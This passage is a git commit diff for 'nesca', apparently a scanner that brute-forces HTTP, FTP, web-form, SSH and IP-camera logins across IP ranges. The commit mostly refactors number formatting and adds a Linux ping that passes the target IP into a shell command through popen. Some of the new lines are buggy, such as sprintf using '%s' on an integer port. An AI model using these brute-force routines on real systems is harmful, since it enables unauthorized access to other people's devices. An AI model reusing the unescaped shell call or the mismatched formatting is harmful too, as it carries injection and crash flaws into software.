mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-12-26 09:21:47 +00:00
eclipse commit, cp-refactoring
This commit is contained in:
parent
01dc161374
commit
5a313d05ed
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
100
connector.cpp
100
connector.cpp
@ -27,7 +27,8 @@ int _countFTPDirectories(char *recvBuff){
|
||||
dirPtr = strstr(dirPtr + 1, "\n");
|
||||
};
|
||||
return dirCounter;
|
||||
};
|
||||
}
|
||||
|
||||
void BConInc()
|
||||
{
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
@ -41,6 +42,7 @@ __asm
|
||||
|
||||
stt->doEmitionChangeBA(QString::number(BrutingThrds));
|
||||
}
|
||||
|
||||
void BConDec()
|
||||
{
|
||||
if(BrutingThrds > 0)
|
||||
@ -58,6 +60,7 @@ void BConDec()
|
||||
stt->doEmitionChangeBA(QString::number(BrutingThrds));
|
||||
|
||||
}
|
||||
|
||||
bool debugWriteWait = false;
|
||||
void _DebugWriteHTMLToFile(char *request, char *buff)
|
||||
{
|
||||
@ -79,6 +82,7 @@ void _DebugWriteHTMLToFile(char *request, char *buff)
|
||||
};
|
||||
debugWriteWait = false;
|
||||
}
|
||||
|
||||
unsigned char tl(unsigned char d)
|
||||
{
|
||||
if(d >= 192 && d <= 223)
|
||||
@ -90,7 +94,8 @@ unsigned char tl(unsigned char d)
|
||||
{
|
||||
return tolower(d);
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
int recvWT(
|
||||
int Socket,
|
||||
char *Buffer,
|
||||
@ -116,6 +121,7 @@ int recvWT(
|
||||
}
|
||||
return(n) ; /* trouble */
|
||||
}
|
||||
|
||||
std::string toLowerStr(const char *str)
|
||||
{
|
||||
int tsz = strlen(str);
|
||||
@ -141,7 +147,8 @@ std::string toLowerStr(const char *str)
|
||||
return tstr;
|
||||
};
|
||||
return "";
|
||||
};
|
||||
}
|
||||
|
||||
int OpenConnection(SOCKET *sock, const char *hostname, int port)
|
||||
{
|
||||
struct hostent *host;
|
||||
@ -234,7 +241,8 @@ void _baSSLWorker(char *ip, char *request, char *rvBuff)
|
||||
ERR_error_string(ERR_peek_last_error(), buff2);
|
||||
stt->doEmitionRedFoundData(QString(ip) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2));
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
char *_getAttributeValue(char *str, char *val, char *ip, int port)
|
||||
{
|
||||
char res[1024] = {0};
|
||||
@ -276,7 +284,7 @@ char *_getAttributeValue(char *str, char *val, char *ip, int port)
|
||||
stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:<a style=\"color:#819121;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\">" + QString(ip) + ":" + QString::number(port) + "</a>");
|
||||
return "";
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
#define HASHLEN 16
|
||||
typedef char HASH[HASHLEN];
|
||||
@ -363,7 +371,7 @@ char *_makeDigestResponse(
|
||||
char responseMD5[64] = {0};
|
||||
CvtHex(response, responseMD5);
|
||||
return (char*)responseMD5;
|
||||
};
|
||||
}
|
||||
|
||||
lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
|
||||
{
|
||||
@ -846,6 +854,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
|
||||
strcpy(lps.login, "UNKNOWN");
|
||||
return lps;
|
||||
}
|
||||
|
||||
lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL)
|
||||
{
|
||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
|
||||
@ -855,7 +864,7 @@ lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char *
|
||||
BConDec();
|
||||
|
||||
return res;
|
||||
};
|
||||
}
|
||||
|
||||
lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
|
||||
{
|
||||
@ -1128,7 +1137,6 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
|
||||
return lps;
|
||||
};
|
||||
|
||||
#pragma region Get pasv Port
|
||||
char *ptr0 = strstr(recvBuff2, "227 ");
|
||||
|
||||
if( ptr0 != NULL )
|
||||
@ -1271,7 +1279,8 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
|
||||
isActive = 0;
|
||||
strcpy(lps.login, "UNKNOWN");
|
||||
return lps;
|
||||
};
|
||||
}
|
||||
|
||||
lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps)
|
||||
{
|
||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
|
||||
@ -1286,7 +1295,7 @@ lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps)
|
||||
BConDec();
|
||||
|
||||
return lps;
|
||||
};
|
||||
}
|
||||
|
||||
int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR)
|
||||
{
|
||||
@ -1427,11 +1436,13 @@ int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR)
|
||||
stt->doEmitionRedFoundData(QString(iph) + ":" + QString(porth) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2));
|
||||
return -1;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
int Connector::_EstablishSSLConnection(char *iph, int porth, char *requesth, conSTR *CSTR)
|
||||
{
|
||||
return _sslConnectTo(iph, porth, requesth, CSTR);
|
||||
};
|
||||
}
|
||||
|
||||
void __deleteExcessiveNullBytes(char *buff, int sz)
|
||||
{
|
||||
int j = 0;
|
||||
@ -1439,7 +1450,8 @@ void __deleteExcessiveNullBytes(char *buff, int sz)
|
||||
{
|
||||
if(buff[i] != 0) buff[j++] = buff[i];
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
struct linger linger = { 0 };
|
||||
int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *CSTR, int force)
|
||||
{
|
||||
@ -1677,7 +1689,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
|
||||
recvBuff2 = NULL;
|
||||
return -1;
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
#pragma region WF
|
||||
lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal)
|
||||
@ -1967,7 +1979,8 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
|
||||
|
||||
strcpy(lps.login, "UNKNOWN");
|
||||
return lps;
|
||||
};
|
||||
}
|
||||
|
||||
lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal)
|
||||
{
|
||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
|
||||
@ -1979,7 +1992,7 @@ lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, c
|
||||
BConDec();
|
||||
|
||||
return res;
|
||||
};
|
||||
}
|
||||
|
||||
#pragma region SSH
|
||||
int _sshConnect(char *user, char *pass, char *host, int port)
|
||||
@ -2028,7 +2041,8 @@ int _sshConnect(char *user, char *pass, char *host, int port)
|
||||
ssh_free(my_ssh_session);
|
||||
++ssh;
|
||||
return 0;
|
||||
};
|
||||
}
|
||||
|
||||
char *_get_ssh_banner(char *ip, int port)
|
||||
{
|
||||
Connector con;
|
||||
@ -2045,7 +2059,8 @@ char *_get_ssh_banner(char *ip, int port)
|
||||
CSTR.lowerBuff = NULL;
|
||||
};
|
||||
return recvBuff;
|
||||
};
|
||||
}
|
||||
|
||||
int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, conSTR *CSTR, char *banner)
|
||||
{
|
||||
int res = -1;
|
||||
@ -2069,7 +2084,8 @@ int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port,
|
||||
return 0;
|
||||
};
|
||||
return res;
|
||||
};
|
||||
}
|
||||
|
||||
int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner)
|
||||
{
|
||||
CSTR->lowerBuff = NULL;
|
||||
@ -2112,7 +2128,7 @@ int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner)
|
||||
BConDec();
|
||||
isActive = 0;
|
||||
return -1;
|
||||
};
|
||||
}
|
||||
|
||||
#pragma region IPCAMWeb
|
||||
int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector<char*> negVector)
|
||||
@ -2207,7 +2223,8 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int
|
||||
|
||||
CSSOCKET(sock);
|
||||
return 0;
|
||||
};
|
||||
}
|
||||
|
||||
lopaStr _IPCameraBrute(char *ip, int port, char *SPEC)
|
||||
{
|
||||
lopaStr lps;
|
||||
@ -2508,7 +2525,8 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC)
|
||||
isActive = 0;
|
||||
strcpy(lps.login, "UNKNOWN");
|
||||
return lps;
|
||||
};
|
||||
}
|
||||
|
||||
lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC)
|
||||
{
|
||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
||||
@ -2518,8 +2536,10 @@ lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC)
|
||||
BConDec();
|
||||
|
||||
return res;
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
int _pingMyTarget(char *ip)
|
||||
{
|
||||
HANDLE hIcmpFile;
|
||||
@ -2554,7 +2574,7 @@ int _pingMyTarget(char *ip)
|
||||
|
||||
|
||||
dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, SendData, sizeof(SendData),
|
||||
NULL, ReplyBuffer, ReplySize, gPingTimeout);
|
||||
NULL, ReplyBuffer, ReplySize, gPingTimeout*1000);
|
||||
if (dwRetVal != 0) {
|
||||
PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)ReplyBuffer;
|
||||
struct in_addr ReplyAddr;
|
||||
@ -2579,7 +2599,32 @@ int _pingMyTarget(char *ip)
|
||||
if(gDebugMode) stt->doEmitionRedFoundData("[Pinger] Call to IcmpSendEcho failed. IcmpSendEcho returned error: " + QString::number(GetLastError()));
|
||||
return 0;
|
||||
};
|
||||
};
|
||||
}
|
||||
#else
|
||||
int _pingMyTarget(char *ip)
|
||||
{
|
||||
FILE *pipe = popen(("ping -w " + std::to_string(gPingTimeout) + " " + ip).c_str(), "r");
|
||||
if(!pipe) {
|
||||
stt->doEmitionRedFoundData("Ping pipe failed: cannot open pipe.");
|
||||
perror("pipe");
|
||||
return 0;
|
||||
}
|
||||
|
||||
char buffer[128] = {0};
|
||||
std::string result;
|
||||
|
||||
while(!feof(pipe)) {
|
||||
if(fgets(buffer, 128, pipe) != NULL){
|
||||
result += buffer;
|
||||
}
|
||||
}
|
||||
pclose(pipe);
|
||||
|
||||
if(strstr((char*)result.c_str(), "100% packet loss") != NULL) return 0;
|
||||
return 1;
|
||||
}
|
||||
#endif
|
||||
|
||||
QString strIP;
|
||||
QString strPort;
|
||||
const char *buff1 = "GET / HTTP/1.1\r\nHost: ";
|
||||
@ -2592,7 +2637,8 @@ int Connector::_SSHLobby(char *ip, int port, conSTR *CSTR)
|
||||
{
|
||||
return _EstablishSSHConnection(ip, port, CSTR, banner);
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
int Connector::_ConnectToPort(char *ip, const char *portC, char *hl)
|
||||
{
|
||||
if(gPingNScan)
|
||||
@ -2644,4 +2690,4 @@ int Connector::_ConnectToPort(char *ip, const char *portC, char *hl)
|
||||
CSTR.lowerBuff = NULL;
|
||||
};
|
||||
strFlag = 1;
|
||||
};
|
||||
}
|
||||
|
@ -1,7 +1,6 @@
|
||||
extern std::string toLowerStr(const char *str);
|
||||
extern int recvS(int lSock, char *recvBuffT, int len, int mode);
|
||||
extern int sendS(int lSock, char *msg, int len, int mode);
|
||||
extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage);
|
||||
extern void UserNickInit(SOCKET lSock);
|
||||
extern void GetNicks();
|
||||
extern int startScan(char* argv);
|
||||
@ -15,4 +14,4 @@ extern char *_findFirst(char *str, char *delim);
|
||||
extern void nCleanup();
|
||||
extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest);
|
||||
extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest);
|
||||
|
||||
extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage);
|
||||
|
69
finder.cpp
69
finder.cpp
@ -1099,7 +1099,6 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
|
||||
};
|
||||
isActive = 1;
|
||||
|
||||
char b[16] = {0};
|
||||
char methodVal[128] = {0};
|
||||
char actionVal[512] = {0};
|
||||
char userVal[128] = {0};
|
||||
@ -1109,7 +1108,8 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
|
||||
char formVal[128] = {0};
|
||||
int fbsz = 0;
|
||||
char tport[16] = {0};
|
||||
strcpy(tport, itoa(port, b, 10));
|
||||
|
||||
sprintf(tport, "%d", port);
|
||||
std::vector<std::string> inputVec;
|
||||
if(fBlock != NULL)
|
||||
{
|
||||
@ -1264,10 +1264,8 @@ void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag,
|
||||
ZeroMemory(lps.login, sizeof(lps.login));
|
||||
ZeroMemory(lps.pass, sizeof(lps.pass));
|
||||
ZeroMemory(lps.other, sizeof(lps.other));
|
||||
char tport[32] = {0};
|
||||
char b[16] = {0};
|
||||
strcpy(tport, ":");
|
||||
strcat(tport, itoa(port, b, 10));
|
||||
char tport[32] = {0};
|
||||
sprintf(tport, ":%d", port);
|
||||
Connector con;
|
||||
lps = con._IPCameraBLobby(ip, port, SPEC);
|
||||
|
||||
@ -1286,10 +1284,8 @@ void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int
|
||||
ZeroMemory(lps.pass, sizeof(lps.pass));
|
||||
ZeroMemory(lps.other, sizeof(lps.other));
|
||||
char temp[64] = {0};
|
||||
char tport[32] = {0};
|
||||
char b[16] = {0};
|
||||
strcpy(tport, ":");
|
||||
strcat(tport, itoa(port, b, 10));
|
||||
char tport[32] = {0};
|
||||
sprintf(tport, ":%d", port);
|
||||
Connector con;
|
||||
|
||||
if(strcmp(comment, "[DIGEST]") == 0) lps = con._BALobby(cookie, ip, port, path, "[DIGEST]", data);
|
||||
@ -1434,24 +1430,30 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy)
|
||||
int gsz = ptr1 - buffcpy;
|
||||
strncpy(goodStr, buffcpy, gsz);
|
||||
if(strlen(ptr1 + 3) > 0) strcpy(banner, ptr1 + 3);
|
||||
strcpy(logEmit, "[SSH] ");
|
||||
strcpy(log, "[SSH] <font color=\"#00a8ff\">");
|
||||
strcat(log, goodStr);
|
||||
strcat(log, ":");
|
||||
strcat(log, itoa(port, b, 10));
|
||||
strcat(log, "</font>");
|
||||
strcat(log, "<font color=\"#323232\">; Banner:</font> <font color=\"#9cff00\">");
|
||||
strcat(log, banner);
|
||||
strcat(log, "</font>");
|
||||
char portString[16] = {0};
|
||||
sprintf(portString, "%d", port);
|
||||
sprintf(log, "[SSH] <font color=\"#00a8ff\"> %s:%d </font><font color=\"#323232\">; Banner:</font> <font color=\"#9cff00\"> %s </font>", goodStr, port, banner);
|
||||
sprintf(log, "[SSH] <span style=\"color: #00a8ff;\"> %s:%d </span>", goodStr, port, banner);
|
||||
|
||||
// strcpy(log, "[SSH] <font color=\"#00a8ff\">");
|
||||
// strcat(log, goodStr);
|
||||
// strcat(log, ":");
|
||||
// strcat(log, itoa(port, b, 10));
|
||||
// strcat(log, "</font>");
|
||||
// strcat(log, "<font color=\"#323232\">; Banner:</font> <font color=\"#9cff00\">");
|
||||
// strcat(log, banner);
|
||||
// strcat(log, "</font>");
|
||||
|
||||
++PieSSH;
|
||||
strcat(logEmit, "<span style=\"color: #00a8ff;\">");
|
||||
strcat(logEmit, goodStr);
|
||||
strcat(logEmit, ":");
|
||||
strcat(logEmit, itoa(port, b, 10));
|
||||
strcat(logEmit, "</span>");
|
||||
|
||||
fputsf (ip, itoa(port, b, 10), log, -22, "SSH");
|
||||
// strcpy(logEmit, "[SSH] ");
|
||||
// strcat(logEmit, "<span style=\"color: #00a8ff;\">");
|
||||
// strcat(logEmit, goodStr);
|
||||
// strcat(logEmit, ":");
|
||||
// strcat(logEmit, itoa(port, b, 10));
|
||||
// strcat(logEmit, "</span>");
|
||||
|
||||
fputsf (ip, portString, log, -22, "SSH");
|
||||
char loginSSH[128] = {0};
|
||||
char passSSH[128] = {0};
|
||||
char *ptrl1 = strstr(buffcpy, ":");
|
||||
@ -1548,7 +1550,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
|
||||
if(strstr(buffcpy, "Set-Cookie:") != NULL) strncpy(ps.cookie, _getAttribute(buffcpy, "Set-Cookie:"), COOKIE_MAX_SIZE);
|
||||
};
|
||||
|
||||
strcpy(port, itoa(p, b, 10));
|
||||
sprintf(port, "%d", p);
|
||||
|
||||
if(strstr(finalstr, ps.headr) == NULL) strcat(finalstr, ps.headr);
|
||||
if(flag == -1 || flag == 6 || strstr(finalstr, "[IGNR_ADDR]") != NULL) return -1;
|
||||
@ -1943,6 +1945,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
||||
strcpy(tempPath, "/");
|
||||
};
|
||||
|
||||
|
||||
strcpy(mes, rbuff1);
|
||||
if(tempPath[0] != '/') strcat(mes, "/");
|
||||
strcat(mes, tempPath);
|
||||
@ -1951,7 +1954,8 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
||||
if(tempPort != 80){
|
||||
strcat(mes, ":");
|
||||
char tbuff[16] = {0};
|
||||
strcat(mes, itoa(tempPort, tbuff, 10));
|
||||
sprintf(tbuff, "%s", tempPort);
|
||||
strcat(mes, tbuff);
|
||||
}
|
||||
if(strlen(cookie) != 0)
|
||||
{
|
||||
@ -2083,7 +2087,8 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
||||
if(tempPort != 80){
|
||||
strcat(mes, ":");
|
||||
char tbuff[16] = {0};
|
||||
strcat(mes, itoa(tempPort, tbuff, 10));
|
||||
sprintf(tbuff, "%s", tempPort);
|
||||
strcat(mes, tbuff);
|
||||
}
|
||||
if(strlen(cookie) != 0)
|
||||
{
|
||||
@ -2170,7 +2175,8 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
||||
if(tempPort != 80){
|
||||
strcat(mes, ":");
|
||||
char tbuff[16] = {0};
|
||||
strcat(mes, itoa(tempPort, tbuff, 10));
|
||||
sprintf(tbuff, "%s", tempPort);
|
||||
strcat(mes, tbuff);
|
||||
}
|
||||
if(strlen(cookie) != 0)
|
||||
{
|
||||
@ -2263,7 +2269,8 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
||||
if(tempPort != 80){
|
||||
strcat(mes, ":");
|
||||
char tbuff[16] = {0};
|
||||
strcat(mes, itoa(tempPort, tbuff, 10));
|
||||
sprintf(tbuff, "%s", tempPort);
|
||||
strcat(mes, tbuff);
|
||||
}
|
||||
if(strlen(cookie) != 0)
|
||||
{
|
||||
@ -3042,4 +3049,4 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
|
||||
|
||||
strcpy(ps->path, "/");
|
||||
return 0;
|
||||
};
|
||||
};
|
||||
|
@ -40,8 +40,8 @@ typedef void* HANDLE;
|
||||
typedef unsigned int UINT;
|
||||
typedef const char * LPCSTR;
|
||||
typedef int SOCKET;
|
||||
typedef hostent HOSTENT;
|
||||
typedef struct linger LINGER;
|
||||
typedef hostent HOSTENT;
|
||||
typedef struct linger LINGER;
|
||||
typedef int BOOL;
|
||||
|
||||
#define INVALID_SOCKET (SOCKET)(~0)
|
||||
|
@ -36,7 +36,8 @@ SOURCES +=\
|
||||
piestat.cpp \
|
||||
progressbardrawer.cpp \
|
||||
STh.cpp \
|
||||
vercheckerthread.cpp
|
||||
vercheckerthread.cpp \
|
||||
finder.cpp
|
||||
|
||||
|
||||
HEADERS += ActivityDrawerTh_HorNet.h \
|
||||
|
@ -1,6 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE QtCreatorProject>
|
||||
<!-- Written by QtCreator 3.2.1, 2015-02-24T13:47:42. -->
|
||||
<!-- Written by QtCreator 3.2.1, 2015-02-26T12:01:33. -->
|
||||
<qtcreator>
|
||||
<data>
|
||||
<variable>EnvironmentId</variable>
|
||||
|
19
nesca_3.cpp
19
nesca_3.cpp
@ -20,8 +20,8 @@
|
||||
#include <QMenu>
|
||||
#include <QGraphicsSceneContextMenuEvent>
|
||||
#include <QDesktopWidget>
|
||||
#include <QtMultimedia\qsound.h>
|
||||
#include <QtMultimedia\qsoundeffect.h>
|
||||
#include <QtMultimedia/qsound.h>
|
||||
#include <QtMultimedia/qsoundeffect.h>
|
||||
#include <qscrollbar.h>
|
||||
#include <qdesktopservices.h>
|
||||
#include <qmessagebox.h>
|
||||
@ -1911,12 +1911,12 @@ void nesca_3::slotSaveImage(QAction *qwe)
|
||||
sceneGrid->render(&painter, QRect(ax, ay, w, h));
|
||||
sceneGrid2->render(&painter, QRect(ax, ay, w, h));
|
||||
|
||||
QString filename = QFileDialog::getSaveFileName(
|
||||
QString filename = QFileDialog::getSaveFileName(
|
||||
this,
|
||||
tr("Save image"),
|
||||
QDir::currentPath() + "/" + fn,
|
||||
".png",
|
||||
&tr("*.png")
|
||||
(QString *)"*.png"
|
||||
);
|
||||
if(filename != "") image.save(filename + ".png");
|
||||
}
|
||||
@ -1939,7 +1939,7 @@ void nesca_3::slotSaveImage(QAction *qwe)
|
||||
tr("Save image"),
|
||||
QDir::currentPath() + "/" + fn,
|
||||
".png",
|
||||
&tr("*.png")
|
||||
(QString *)"*.png"
|
||||
);
|
||||
if(filename != "") image.save(filename + ".png");
|
||||
};
|
||||
@ -3545,11 +3545,14 @@ void writeDebugFile(QString str)
|
||||
char b[8] = {0};
|
||||
char fn[64] = {0};
|
||||
strcpy(fn, "./output_");
|
||||
strcat(fn, itoa(qd.currentDate().day(), b, 10));
|
||||
sprintf(b, "%d", qd.currentDate().day());
|
||||
strcat(fn, b);
|
||||
strcat(fn, "_");
|
||||
strcat(fn, itoa(qd.currentDate().month(), b, 10));
|
||||
sprintf(b, "%d", qd.currentDate().month());
|
||||
strcat(fn, b);
|
||||
strcat(fn, "_");
|
||||
strcat(fn, itoa(qd.currentDate().year(), b, 10));
|
||||
sprintf(b, "%d", qd.currentDate().year());
|
||||
strcat(fn, b);
|
||||
strcat(fn, ".txt");
|
||||
|
||||
FILE *df = fopen(fn, "a");
|
||||
|
@ -29,7 +29,7 @@ int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSS
|
||||
int ipsstart[4], ipsend[4],
|
||||
overallPorts, flCounter, octet[4];
|
||||
unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL;
|
||||
int gPingTimeout = 2000;
|
||||
int gPingTimeout = 1;
|
||||
double ips = 0;
|
||||
char top_level_domain[128] = {0};
|
||||
char endIP2[128] = {0};
|
||||
@ -116,7 +116,8 @@ void SaveErrorLog(char *sender, char *MesSent, char *ReplRecv)
|
||||
delete []totalErrLog;
|
||||
totalErrLog = NULL;
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
QString GetNSErrorDefinition(char *str, char *elem)
|
||||
{
|
||||
char *temp = strstr(str, elem);
|
||||
@ -134,30 +135,42 @@ QString GetNSErrorDefinition(char *str, char *elem)
|
||||
return QString(definition);
|
||||
}
|
||||
else return QString("No definition found!");
|
||||
};
|
||||
}
|
||||
|
||||
void ConInc()
|
||||
{
|
||||
__asm
|
||||
{
|
||||
lock inc cons;
|
||||
};
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
__asm
|
||||
{
|
||||
lock inc cons;
|
||||
};
|
||||
#else
|
||||
asm("lock incl cons");
|
||||
#endif
|
||||
|
||||
stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads));
|
||||
|
||||
};
|
||||
}
|
||||
|
||||
void ConDec()
|
||||
{
|
||||
if(cons > 0)
|
||||
{
|
||||
__asm
|
||||
{
|
||||
lock dec cons;
|
||||
};
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
__asm
|
||||
{
|
||||
lock dec cons;
|
||||
};
|
||||
#else
|
||||
asm("lock decl cons");
|
||||
#endif
|
||||
|
||||
};
|
||||
|
||||
stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads));
|
||||
|
||||
};
|
||||
}
|
||||
|
||||
void _SaveBackupToFile()
|
||||
{
|
||||
char saveStr[512] = {0};
|
||||
@ -321,32 +334,20 @@ void _SaveBackupToFile()
|
||||
strcat(saveStr, "\n");
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
|
||||
strcpy(saveStr, "[PING_TO]:");
|
||||
char tb[16] = {0};
|
||||
strcat(saveStr, itoa(gPingTimeout, tb, 10));
|
||||
strcat(saveStr, "\n");
|
||||
|
||||
sprintf(saveStr, "[PING_TO]: %d\n", gPingTimeout);
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
|
||||
strcpy(saveStr, "[THREAD_DELAY]:");
|
||||
ZeroMemory(tb, 16);
|
||||
strcat(saveStr, itoa(gThreadDelay, tb, 10));
|
||||
strcat(saveStr, "\n");
|
||||
sprintf(saveStr, "[THREAD_DELAY]: %d\n", gThreadDelay);
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
|
||||
strcpy(saveStr, "[TIMEOUT]:");
|
||||
ZeroMemory(tb, 16);
|
||||
strcat(saveStr, itoa(gTimeOut, tb, 10));
|
||||
strcat(saveStr, "\n");
|
||||
|
||||
sprintf(saveStr, "[TIMEOUT]: %d\n", gTimeOut);
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
|
||||
strcpy(saveStr, "[MAXBTHR]:");
|
||||
ZeroMemory(tb, 16);
|
||||
strcat(saveStr, itoa(gMaxBrutingThreads, tb, 10));
|
||||
strcat(saveStr, "\n");
|
||||
|
||||
sprintf(saveStr, "[MAXBTHR]: %d\n", gMaxBrutingThreads);
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
|
||||
@ -377,7 +378,7 @@ void _saver()
|
||||
__savingBackUpFile = false;
|
||||
Sleep(10000);
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
void _timer()
|
||||
@ -786,7 +787,7 @@ void *_tracker()
|
||||
};
|
||||
trackAlreadyGoing = false;
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
unsigned long int numOfIps(int ipsstart[], int ipsend[])
|
||||
{
|
||||
@ -801,7 +802,8 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[])
|
||||
//unsigned long gTargets = ip2 - ip1;
|
||||
|
||||
return gTargets;
|
||||
};
|
||||
}
|
||||
|
||||
//#include <sys/types.h>
|
||||
//#include <stdio.h>
|
||||
//#include <signal.h>
|
||||
@ -894,7 +896,8 @@ void *_connect(void* ss)
|
||||
};
|
||||
|
||||
ConDec();
|
||||
};
|
||||
}
|
||||
|
||||
void targetAndIPWriter(unsigned long int target, char *buff)
|
||||
{
|
||||
char curIPBuff[256] = {0}, targetNPers[32] = {0}, dbuffer[32] = {0};
|
||||
@ -917,7 +920,8 @@ void targetAndIPWriter(unsigned long int target, char *buff)
|
||||
stt->doEmitionIPRANGE(QString(curIPBuff));
|
||||
stt->doEmitionTargetsLeft(QString(targetNPers));
|
||||
|
||||
};
|
||||
}
|
||||
|
||||
void _passLoginFapper()
|
||||
{
|
||||
MaxLogin = 0;
|
||||
@ -1136,7 +1140,8 @@ void _passLoginFapper()
|
||||
|
||||
stt->doEmitionYellowFoundData("BA: ~" + QString(std::to_string(MaxLogin * MaxPass/gTimeOut/60).c_str()) + "; WF: ~" + QString(std::to_string(MaxWFLogin * MaxWFPass/gTimeOut/60).c_str()) + "; SSH: ~" + QString(std::to_string(MaxSSHPass/gTimeOut/60).c_str()));
|
||||
|
||||
};
|
||||
}
|
||||
|
||||
void ReadUTF8(FILE* nFile, char *cp)
|
||||
{
|
||||
char buffFG[256] = {0};
|
||||
@ -1201,7 +1206,11 @@ void ReadUTF8(FILE* nFile, char *cp)
|
||||
|
||||
if(strstr((char*)buffFG, "\n") != 0)
|
||||
{
|
||||
std::string res = xcode(buffFG, CP_UTF8, CP_ACP);
|
||||
std::string res;
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
res = xcode(buffFG, CP_UTF8, CP_ACP);
|
||||
#else
|
||||
#endif
|
||||
int sz = res.size();
|
||||
GlobalNegatives[i] = new char[sz + 1];
|
||||
ZeroMemory(GlobalNegatives[i], sizeof(GlobalNegatives[i]));
|
||||
